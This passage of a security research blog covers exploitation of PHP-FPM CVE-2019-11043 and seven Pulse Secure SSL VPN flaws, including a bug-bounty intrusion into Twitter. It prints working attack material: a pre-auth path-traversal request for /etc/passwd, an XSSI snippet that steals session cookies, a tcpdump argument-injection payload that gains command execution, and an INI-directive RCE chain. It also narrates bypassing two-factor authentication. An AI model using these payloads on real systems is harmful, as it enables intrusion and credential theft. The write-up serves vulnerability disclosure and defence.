    # regex to split $uri to $fastcgi_script_name and $fastcgi_path
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
    # Check that the PHP script exists before passing it
    try_files $fastcgi_script_name =404;
    # Bypass the fact that try_files resets $fastcgi_path_info
    # see: http://trac.nginx.org/nginx/ticket/321
    set $path_info $fastcgi_path_info;
    fastcgi_param PATH_INFO $path_info;
    fastcgi_index index.php;
    include fastcgi.conf;
    # ------------------------------------
    # /etc/nginx/fastcgi.conf
    fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;
    fastcgi_param  QUERY_STRING       $query_string;
    fastcgi_param  REQUEST_METHOD     $request_method;
    fastcgi_param  CONTENT_TYPE       $content_type;
    fastcgi_param  CONTENT_LENGTH     $content_length;
    # ...

    As you can see, the PATH_INFO are defined before the QUERY_STRING, so the original exploit doesn’t cover that. That’s also the reason why I trace into this bug!

So, the Nginx configuration greatly affects this vulnerability. For the obstacle No.1 and No.3, it’s hopeless and unexploitable. About how to improve obstacle No.2 and No.4, we leave it for the last section!

However, a fun fact is that if you install the Nginx and PHP-FPM on Ubuntu(16.04/18.04) thought the apt package manager. You can remove just one line(try_files) and make your service vulnerable :P

B. Vulnerability verification problem

Before exploiting the target, we need to check if the target is vulnerable or not. Because the remote Nginx configuration is unknown, we need to find a reliable way to trigger the environment overwrite. Here the author leverage the double buffer mechanism!
As I mentioned before:

If the buffer reaches the end(pos > end). PHP-FPM creates a new buffer and put the previous one to the structure member fcgi_data_seg->next.
The neex’s exploit enlarges the QUERY_STRING to force PHP-FPM allocate a new buffer and therefore place the PATH_INFO buffer at the right location. As long as the PATH_INFO is on the top of the new fcgi_data_seg->data buffer, we know the offset from the PATH_INFO to fcgi_data_seg->pos is 34.

We fixed our PATH_INFO length to 34 so that we can exactly place the null-byte in the right address. Due to the PHP-FPM implementation, the HTTP headers must be right after the PATH_INFO, and we can designed the context like:

gdb-peda$ x/10s request.env.data.data
0x55c8cc0e74d8: "PATH_INFO"
0x55c8cc0e74e2: ""
0x55c8cc0e74e3: "HTTP_HOST"
0x55c8cc0e74ed: ""
0x55c8cc0e74f7: "HTTP_DUMMY_HEADERSSS"
0x55c8cc0e750c: 'A' <repeats 11 times>
0x55c8cc0e7518: "HTTP_EBUT"
0x55c8cc0e7522: "NOGG"
0x55c8cc0e7527: "ORIG_PATH_INFO"
0x55c8cc0e7536: ""

gdb-peda$ x/6s request.env.data.pos
0x55c8cc0e7500: "Y_HEADERSSS"
0x55c8cc0e750c: 'A' <repeats 11 times>
0x55c8cc0e7518: "HTTP_EBUT"
0x55c8cc0e7522: "NOGG"
0x55c8cc0e7527: "ORIG_PATH_INFO"
0x55c8cc0e7536: ""

We then adjust the length of HTTP_DUMMY_HEADER to exactly overwrite the HTTP_EBUT and its value to PHP_VALUE\nsession.auto_start=1;;;.

This is the memory view before the environment variable is written on fpm_main.c#1165.

gdb-peda$ p *request.env.buckets
      hash_value = 0x7e9,
      var_len = 0x9,
      var = 0x55c8cc0e7518 "HTTP_BBUT",
      val_len = 0x4,
      val = 0x55c8cc0e7522 "NOGG",
      next = 0x55c8cc0e4aa0,
      list_next = 0x55c8cc0e4c80

This is the memory view after the environment variable is written.

While the session.auto_start is changed to 1, we can just check the set-cookie header in HTTP response to know whether our exploit succeeds or not!

C. The length limitation

As we mentioned before, we fixed our PATH_INFO length to 34 so that we can exactly place the null-byte in the right address. The previous detect payload is good and short enough, and this is also the simplest detect method. It’s also the first situation in our the PHP dispatcher section.

However, in another scenario, the URI must end with .php so that our payload must be less than 34 bytes. Otherwise, if we plus the the .php suffix, the original detect payload will become 35 bytes…


Due to the length limitation, most of the INI stuff are too long, and building a code execution chain becomes harder… :(

Improve the exploit

After I had deeper understanding of this, I kept thinking if there is any way to improve the exploit.

A. The PATH_INFO sequential problem

It’s easy. Because the PATH_INFO is ahead of QUERY_STRING, and there are no SCRIPT_FILENAME, SCRIPT_NAME and REQUEST_URI to interfere our alignment. We can just pad on the PATH_INFO itself to enlarge the buffer!

B. How to detect the vulnerability

You can just put a single newline in the PATH_INFO and increase the PATH_INFO and QUERY_STRING length(depend on situations). If the PHP-FPM crashes, that means you got it :P 

If there is a PHPINFO page. To detect the vulnerability is more easy, you can just fetch the /info.php/%0a.php and observe the $_SERVER['PATH_INFO'] is corrupted or not!

C. Bypass the length limitation

It’s not easy to bypass that. Due to the .php suffix, we have only two options. The first choice is building the payloads under constraint, and the other one is to bypass the constraint!

The first one is to build the payload under constraint. The neex’s exploit leverage another CGI environment REQUEST_BODY_FILE to control more bytes on error messages. This is genius!

My method is to leverage the output_method directive. Here is the RCE chain I built:

inis = [
    "error_log  = /tmp/l",

And the /tmp/l.php looks like:

[27-Oct-2019 13:55:05 UTC] PHP Warning:  Unknown: failed to open stream: No such file or directory in Unknown on line 0
[27-Oct-2019 13:55:05 UTC] PHP Warning:  Unknown: function '<?/*.php' not found or invalid function name in Unknown on line 0
[27-Oct-2019 13:55:05 UTC] PHP Warning:  Unknown: function '*/`' not found or invalid function name in Unknown on line 0
[27-Oct-2019 13:55:05 UTC] PHP Warning:  Unknown: Unable to load dynamic library '$_GET[a]' (tried: `?>.php/$_GET[a] (`?>.php/$_GET[a]: cannot open shared object file: No such file or directory), `?>.php/$_GET[a].so (`?>.php/$_GET[a].so: cannot open shared object file: No such file or directory)) in Unknown on line 0

We put a lot of garbage into the backtick, of course, including our $_GET[a], so we can simply use the newline to execute arbitrary command.

curl "http://localhost/index.php?a=%0asleep+5%0a"

About the constraint bypass, my idea is to pop the previous environment onto the newly fcgi_data_seg->data buffer. In most Nginx configurations, the environment variable before PATH_INFO is usually REDIRECT_STATUS=200. So we can pop the string 200 onto the buffer and extend the controllable space size from 34 to 37 bytes! That’s enough to fit all payloads including the .php suffix! This idea works on my local environment, and I am now trying to make exploit more reliable :D

OK, this is whole the detail about the recently PHP-FPM 2019-11043. If you have any further idea for making the exploit more reliable and exploitable, please let me know and contribute back to the original author’s GitHub repo!

2019年9月2日 星期一

Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study!

Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_)
P.S. This is a cross-post blog from DEVCORE

Hi, this is the last part of Attacking SSL VPN series. If you haven’t read previous articles yet, here are the quick links for you:

After we published our research at Black Hat, due to its great severity and huge impacts, it got lots of attention and discussions. Many people desire first-hand news and wonder when the exploit(especially the Pulse Secure preAuth one) will be released.

We also discussed this internally. Actually, we could simply drop the whole exploits without any concern and acquire plenty of media exposures. However, as a SECURITY firm, our responsibility is to make the world more secure. So we decided to postpone the public disclosure to give the world more time to apply the patches!

Unfortunately, the exploits were revealed by someone else. They can be easily found on GitHub[1] [2] [3] and exploit-db[1]. Honestly, we couldn’t say they are wrong, because the bugs are absolutely fixed several months ago, and they spent their time differing/reversing/reproducing. But it’s indeed a worth discussing question to the security community: if you have a nuclear level weapon, when is it ready for public disclosure?

We heard about more than 25 bug bounty programs are exploited. From the statistics of Bad Packet, numerous Fortune 500, U.S. military, governments, financial institutions and universities are also affected by this. There are even 10 NASA servers exposed for this bug. So, these premature public disclosures indeed force these entities to upgrade their SSL VPN, this is the good part.

On the other hand, the bad part is that there is an increasing number of botnets scanning the Internet in the meanwhile. An intelligence also points out that there is already a China APT group exploiting this bug. This is such an Internet disaster. Apparently, the world is not ready yet. So, if you haven’t updated your Palo Alto, Fortinet or Pulse Secure SSL VPN, please update it ASAP!

About Pulse Secure

Pulse Secure is the market leader of SSL VPN which provides professional secure access solutions for Hybrid IT. Pulse Secure has been in our research queue for a long time because it was a critical infrastructure of Google, which is one of our long-term targets. However, Google applies the Zero Trust security model, and therefore the VPN is removed now.

We started to review Pulse Secure in mid-December last year. In the first 2 months, we got nothing. Pulse Secure has a good coding style and security awareness so that it’s hard to find trivial bugs. Here is an interesting comparison, we found the arbitrary file reading CVE-2018-13379 on FortiGate SSL VPN on our first research day…

Pulse Secure is also a Perl lover, and writes lots of Perl extensions in C++. The interaction between Perl and C++ is also confusing to us, but we got more familiar with it while we paid more time digging in it. Finally, we got the first blood on March 8, 2019! It’s a stack-based overflow on the management interface! Although this bug isn’t that useful, our research progress got on track since that, and we uncovered more and more bugs.

We reported all of our finding to Pulse Secure PSIRT on March 22, 2019. Their response is very quick and they take these vulnerabilities seriously! After several conference calls with Pulse Secure, they fixed all bugs just within a month, and released the patches on April 24, 2019. You can check the detailed security advisory!

It’s a great time to work with Pulse Secure. From our perspective, Pulse Secure is the most responsible vendor among all SSL VPN vendors we have reported bugs to!


We have found 7 vulnerabilities in total. Here is the list. We will introduce each one but focus on the CVE-2019-11510 and CVE-2019-11539 more.
  • CVE-2019-11510 - Pre-auth Arbitrary File Reading
  • CVE-2019-11542 - Post-auth(admin) Stack Buffer Overflow
  • CVE-2019-11539 - Post-auth(admin) Command Injection
  • CVE-2019-11538 - Post-auth(user) Arbitrary File Reading via NFS
  • CVE-2019-11508 - Post-auth(user) Arbitrary File Writing via NFS
  • CVE-2019-11540 - Post-auth Cross-Site Script Inclusion
  • CVE-2019-11507 - Post-auth Cross-Site Scripting

Affected versions

  • Pulse Connect Secure 9.0R1 - 9.0R3.3
  • Pulse Connect Secure 8.3R1 - 8.3R7
  • Pulse Connect Secure 8.2R1 - 8.2R12
  • Pulse Connect Secure 8.1R1 - 8.1R15
  • Pulse Policy Secure 9.0R1 - 9.0R3.3
  • Pulse Policy Secure 5.4R1 - 5.4R7
  • Pulse Policy Secure 5.3R1 - 5.3R12
  • Pulse Policy Secure 5.2R1 - 5.2R12
  • Pulse Policy Secure 5.1R1 - 5.1R15

CVE-2019-11540: Cross-Site Script Inclusion

The script /dana/cs/cs.cgi renders the session ID in JavaScript. As the content-type is set to application/x-javascript, we could perform the XSSI attack to steal the DSID cookie!

Even worse, the CSRF protection in Pulse Secure SSL VPN is based on the DSID. With this XSSI, we can bypass all the CSRF protection!


<!-- http://attacker/malicious.html -->

<script src="https://sslvpn/dana/cs/cs.cgi?action=appletobj"></script>
    window.onload = function() {
        window.document.writeln = function (msg) {
            if (msg.indexOf("DSID") >= 0) alert(msg)

CVE-2019-11507: Cross-Site Scripting

There is a CRLF Injection in /dana/home/cts_get_ica.cgi. Due to the injection, we can forge arbitrary HTTP headers and inject malicious HTML contents.



CVE-2019-11538: Post-auth(user) Arbitrary File Reading via NFS

The following two vulnerabilities (CVE-2019-11538 and CVE-2019-11508) do not affect default configurations. It appears only if the admin configures the NFS sharing for the VPN users.

If an attacker can control any files on remote NFS server, he can just create a symbolic link to any file, such as /etc/passwd, and read it from web interface. The root cause is that the implementation of NFS mounts the remote server as a real Linux directory, and the script /dana/fb/nfs/nfb.cgi does not check whether the accessed file is a symlink or not!

CVE-2019-11508: Post-auth(user) Arbitrary File Writing via NFS

This one is a little bit similar to the previous one, but with a different attack vector!

When the attacker uploads a ZIP file to the NFS through the web interface, the script /dana/fb/nfs/nu.cgi does not sanitize the filename in the ZIP. Therefore, an attacker can build a malicious ZIP file and traverse the path with ../ in the filename! Once Pulse Secure decompresses, the attacker can upload whatever he wants to whatever path!

CVE-2019-11542: Post-auth(admin) Stack Buffer Overflow

There is a stack-based buffer overflow in the following Perl module implementations:
  • DSHC::ConsiderForReporting
  • DSHC::isSendReasonStringEnabled
  • DSHC::getRemedCustomInstructions
These implementations use sprintf to concatenate strings without any length check, which leads to the buffer overflow. The bug can be triggered in many places, but here we use /dana-admin/auth/hc.cgi as our PoC.


And you can observed the segment fault from dmesg

cgi-server[22950]: segfault at 61616161 ip 0000000002a80afd sp 00000000ff9a4d50 error 4 in DSHC.so[2a2f000+87000]

CVE-2019-11510: Pre-auth Arbitrary File Reading

Actually, this is the most severe bug in this time. It is in the web server implementation. As our slides mentioned, Pulse Secure implements their own web server and architecture stack from scratch. The original path validation is very strict. However, since version 8.2, Pulse Secure introduced a new feature called HTML5 Access, it’s a feature used to interact with Telnet, SSH, and RDP by browsers. Thanks to this new feature, the original path validation becomes loose.

In order to handle the static resources, Pulse Secure created a new IF-CONDITION to widen the originally strict path validation. The code wrongly uses the request->uri and request->filepath, so that we can specify the /dana/html5acc/guacamole/ in the end of the query string to bypass the validation and make request->filepath to any file you want to download!

And it’s worth to mention that in order to read arbitrary files, you must to specify the /dana/html5acc/guacamole/ in the middle of the path again. Otherwise, you can only download limited file extensions such as .json, .xml or .html.

Due to the exploit is in the wild, there is no longer any concern to show the payload:

import requests

r = requests.get('https://sslvpn/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/')
print r.content

CVE-2019-11539: Post-auth(admin) Command Injection

The last one is a command injection on the management interface. We found this vulnerability very early, but could not find a way to exploit it at first. While we were in Vegas, one of my friends told me that he found the same bug before, but he didn’t find a way to exploit it, so he didn’t report to the vendor.

However, we did it, and we exploit it in a very smart way :)

The root cause of this vulnerability is very simple. Here is a code fragment of /dana-admin/diag/diag.cgi:

# ...
$options = tcpdump_options_syntax_check(CGI::param("options"));

# ...
sub tcpdump_options_syntax_check {
  my $options = shift;
  return $options if system("$TCPDUMP_COMMAND -d $options >/dev/null 2>&1") == 0;
  return undef;

It’s so obvious and straightforward that everyone can point out there is a command injection at the parameter options! However, is it that easy? No!

In order to avoid potential vulnerabilities, Pulse Secure applies lots of hardenings on their products! Such as the system integrity check, read-only filesystem and a module to hook all dangerous Perl invocations like system, open and backtick

This module is called DSSAFE.pm. It implements its own command line parser and re-implements the I/O redirections in Perl. Here is the code fragments on Gist.

From the code fragments, you can see it replaces the original system and do lots of checks in __parsecmd. It also blocks numerous bad characters such as:


The checks are very strict so that we can not perform any command injection. We imagined several ways to bypass that, and the first thing came out of my mind is the argument injection. We listed all arguments that TCPDUMP supports and found that the -z postrotate-command may be useful. But the sad thing is that the TCPDUMP in Pulse Secure is too old(v3.9.4, Sept 2005) to support this juicy feature, so we failed :(

While examining the system, we found that although the webroot is read-only, we can still abuse the cache mechanism. Pulse Secure caches the template result in /data/runtime/tmp/tt/ to speed up script rendering. So our next attempt is to write a file into the template cache directory via -w write-file argument. However, it seems impossible to write a polyglot file in both PCAP and Perl format.

As it seems we had reached the end of argument injection, we tried to dig deeper into the DSSFAFE.pm implementation to see if there is anything we can leverage. Here we found a defect in the command line parser. If we insert an incomplete I/O redirection, the rest of the redirection part will be truncated. Although this is a tiny flaw, it helped us to re-control the I/O redirections! However, the problem that we can’t generate a valid Perl script still bothered us.

We got stuck here, and it’s time to think out of the box. It’s hard to generate a valid Perl script via STDOUT, could we just write the Perl by STDERR? The answer is yes. When we force the TCPDUMP to read a nonexistent-file via -r read-file. It shows the error:

tcpdump: [filename]: No such file or directory

It seems we can “partially” control the error message. Then we tried the filename print 123#, and the magic happens!

$ tcpdump -d -r 'print 123#'
  tcpdump: print 123#: No such file or directory
$ tcpdump -d -r 'print 123#' 2>&1 | perl –

The error message becomes a valid Perl script now. Why? OK, let’s have a Perl 101 lesson now!

As you can see, Perl supports the GOTO label, so the tcpdump: becomes a valid label in Perl. Then, we comment the rest with a hashtag. With this creative trick, we can generate any valid Perl now!

Finally, we use an incomplete I/O symbol < to fool the DSSAFE.pm command parser and redirect the STDERR into the cache directory! Here is the final exploit:

-r$x="ls /",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < 

The concatenated command looks like:

/usr/sbin/tcpdump -d 
 -r'$x="ls /",system$x#'
 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < 

And the generated setcookie.thtml.ttc looks like:

 tcpdump: $x="ls /",system$x#: No such file or directory

Once we have done this, we can just fetch the corresponding page to execute our command:

$ curl https://sslvpn/dana-na/auth/setcookie.cgi
 boot  bin  home  lib64       mnt      opt  proc  sys  usr  var
 data  etc  lib   lost+found  modules  pkg  sbin  tmp 

So far, the whole technical part of this command injection is over. However, we think there may be another creative way to exploit this, if you found one, please tell me!

The Case Study

After Pulse Secure patched all the bugs on April 24, 2019. We kept monitoring the Internet to measure the response time of each large corporation. Twitter is one of them. They are known for their bug bounty program and nice to hackers. However, it’s improper to exploit a 1-day right after the patch released. So we wait 30 days for Twitter to upgrade their SSL VPN.

We have to say, we were nervous during that time. The first thing we did every morning is to check whether Twitter upgrades their SSL VPN or not! It was an unforgettable time for us :P

We started to hack Twitter on May 28, 2019. During this operation, we encounter several obstacles. The first one is, although we can obtain the plaintext password of Twitter staffs, we still can’t log into their SSL VPN because of the Two Factor Authentication. Here we suggest two ways to bypass that. The first one is that we observed Twitter uses the solution from Duo. The manual mentions:

The security of your Duo application is tied to the security of your secret key (skey). Secure it as you would any sensitive credential. Don’t share it with unauthorized individuals or email it to anyone under any circumstances!

So if we can extract the secret key from the system, we can leverage the Duo API to bypass the 2FA. However, we found a quicker way to bypass it. Twitter enabled the Roaming Session feature, which is used to enhances mobility and allows a session from multiple IP locations.

Due to this “convenient” feature, we can just download the session database and forge our cookies to log into their system!

Until now, we are able to access Twitter Intranet. Nevertheless, our goal is to achieve code execution! It sounds more critical than just accessing the Intranet. So we would like to chain our command injection bug(CVE-2019-11539) together. OK, here, we encountered another obstacle. It’s the restricted management interface!

As we mentioned before, our bug is on the management interface. But for the security consideration, most of the corporation disable this interface on public, so we need another way to access the admin page. If you have read our previous article carefully, you may recall the “WebVPN” feature! WebVPN is a proxy which helps to connect to anywhere. So, let’s connect to itself.

Yes, it’s SSRF!  Here we use a small trick to bypass the SSRF protections.

Ahha! Through our SSRF, we can touch the interface now! Then, the last obstacle popped up. We didn’t have any plaintext password of managers. When Perl wants to exchange data with native procedures, such as the Perl extension in C++ or web server, it uses the cache to store data. The problem is, Pulse Secure forgets to clear the sensitive data after exchange, so that’s why we can obtain plaintext passwords in the cache. But practically, most of the managers only log into their system for the first time, so it’s hard to get the manager’s plaintext password. The only thing we got, is the password hash in sha256(md5_crypt(salt, …)) format…

If you are experienced in cracking hashes, you will know how hard it is. So…

We launched a 72 core AWS to crack that.

We cracked the hash and got the RCE successfully! I think we are lucky because from our observation, there is a very strong password policy on Twitter staffs. But it seems the policy is not applied to the manager. The manager’s password length is only ten, and the first character is B. It’s at a very early stage of our cracking queue so that we can crack the hash in 3 hours.

We reported all of our findings to Twitter and got the highest bounty from them. Although we can not prove that, it seems this is the first remote code execution on Twitter! If you are interested in the full report, you can check the HackerOne link for more details.


How to mitigate such attacks? Here we give several recommendations.

The first is the Client-Side Certificate. It’s also the most effective method. Without a valid certificate, the malicious connection will be dropped during SSL negotiation! The second is the Multi-factor Authentication. Although we break the Twitter 2FA this time, with a proper setting, the MFA can still decrease numerous attack surface. Next, enable the full log audit and remember to send to an out-bound log server.

Also, perform your corporate asset inventory regularly and subscribe to the vendor’s security advisory. The most important of all, always keep your system updated!

Bonus: Take over all the VPN clients

Our company, DEVCORE, provides the most professional red team service in Asia. In this bonus part, let’s talk about how to make the red team more RED!

We always know that in a red team operation, the personal computer is more valuable! There are several old-school methods to compromise the VPN clients through SSL VPN before, such as the water-hole attack and replacing the VPN agent.

During our research, we found a new attack vector to take over all the clients. It’s the “logon script” feature. It appears in almost EVERY SSL VPNs, such as OpenVPN, Fortinet, Pulse Secure… and more. It can execute corresponding scripts to mount the network file-system or change the routing table once the VPN connection established.

Due to this “hacker-friendly” feature, once we got the admin privilege, we can leverage this feature to infect all the VPN clients! Here we use the Pulse Secure as an example, and demonstrate how to not only compromise the SSL VPN but also take over all of your connected clients:


OK, here is the end of this Attacking SSL VPN series! From our findings, SSL VPN is such a huge attack surface with few security researchers digging into. Apparently, it deserves more attention. We hope this kind of series can encourage other researchers to engage in this field and enhance the security of enterprises!

Thanks to all guys we met, co-worked and cooperated. We will publish more innovative researches in the future :)